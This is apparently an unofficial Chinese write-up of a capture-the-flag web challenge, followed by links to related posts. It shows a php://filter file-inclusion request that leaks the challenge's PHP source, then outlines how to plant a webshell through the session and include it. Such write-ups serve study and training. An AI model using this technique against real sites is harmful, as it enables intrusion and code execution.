【广东大学生网络攻防大赛-WriteUp（非官方）】Web

题中提到了1.txt和2.txt，当时我在这两个位置徘徊了挺久，后来想到试一下直接用base64读取action.php这个文件：

119.23.247.96:48002/action.php?file=php://filter/read=convert.base64-encode/resource=action.php

出现：
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRuYW1lID0gJF9QT1NUWyduYW1lJ107DQppZigkbmFtZSl7DQoJJF9TRVNTSU9OWyJ1c2VybmFtZSJdID0gJG5hbWU7DQp9DQppbmNsdWRlKCRfR0VUWydmaWxlJ10pOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw
Base64解密：

解密后内容如下：

<?phpsession_start();error_reporting(0);$name = $_POST['name'];if($name){$_SESSION["username"] = $name;}include($_GET['file']);
?>
<!DOCTYPE html>
<htbWw

发现session开启并且可控

在name处写入木马
包含即可获得flag

【广东大学生网络攻防大赛-WriteUp（非官方）】Web | in相关推荐

2019年安徽省大学生网络攻防赛赛前培训——Day1
2019安徽省大学生网络攻防赛方案高职组(AWD模式) 实时防护无差别攻击一对多.多对一分值不封顶范围 web类.系统安全.数据安全.溢出等时长总计3小时,前0.5小时加固,后2.5小时 ...
第四届“蓝帽杯”全国大学生网络安全技能大赛 Writeup
第四届"蓝帽杯"全国大学生网络安全技能大赛 Writeup Misc 签到 sudo 熟悉的解密 Web 文件包含绕过 easiestSQLi Soitgoes Misc 签到 ...
华师计算机设计大赛,2017年广东大学生计算机设计大赛决赛选手手册-华南师范大学.PDF...
2017年广东大学生计算机设计大赛决赛选手手册-华南师范大学 2017 年广东省大学生计算机设计大赛决赛选手手册主办单位:广东省教育厅承办单位:广东外语外贸大学指导单位:广东省高等学校公共计 ...
20155235 《网络攻防》实验八 Web基础
20155235 <网络攻防> 实验八 Web基础实验内容 Web前端HTML(0.5分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表 ...
南京邮电大学网络攻防平台WriteUP——WEB（上）
前言南京邮电大学网络攻防平台(http://ctf.nuptsast.com/)是一个集合了WEB.MISC.密码学.PWN.逆向的一个CTF训练平台,对于初次涉及ctf小伙伴来说是非常不错的一个训 ...
2016风云杯大学生信安大赛 WriteUp
2016风云杯大学生信安大赛 web 01 web 02 web 03 web 04 web 05 web 06 web 08 web 09 CRYPTO 01 misc 01 misc 02 mis ...
广东大学生计算机设计大赛,我校学子在广东省大学生计算机设计大赛中荣获一等奖...
本网讯(通讯员李玫)近日,由广东省教育厅组织的2017年广东省大学生计算机设计大赛决赛在广东外语外贸大学白云校区举行,我校信息技术学院组织和选拔的参赛作品经过层层筛选,最终获得一等奖1项.三等奖2项 ...
2020大学生网络知识大赛总决赛个人12——18急救包（最后还是肝完了，累~）
1.强制性标准是由法律规定必须遵照执行的标准,强制性国家标准的代号为() A.GB:B.GB/T:C.JB:D.JB/T 正确答案是:A 2.计算机越来越普遍,而操作系统用于管理和控制计算机的硬件和软 ...
2019年安徽省大学生网络攻防赛赛前培训——Day2
AWD(高职组)比赛思路流量分析虚拟机,下载流量文件进行数据分析(可能无)* ﬂag刷新 ﬂag被拿走,该队扣分,攻击者得分主办方对队伍的服务器进行check,扣分.得分由其他队伍均分数据库密码 ...
2017广东省红帽杯网络安全攻防大赛writeup
签到扫码按操作即得 brian(Y) 打开题目,发现是一段字符: +++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [-> ...

【广东大学生网络攻防大赛-WriteUp（非官方）】Web | in

【广东大学生网络攻防大赛-WriteUp（非官方）】Web | in相关推荐

最新文章

热门文章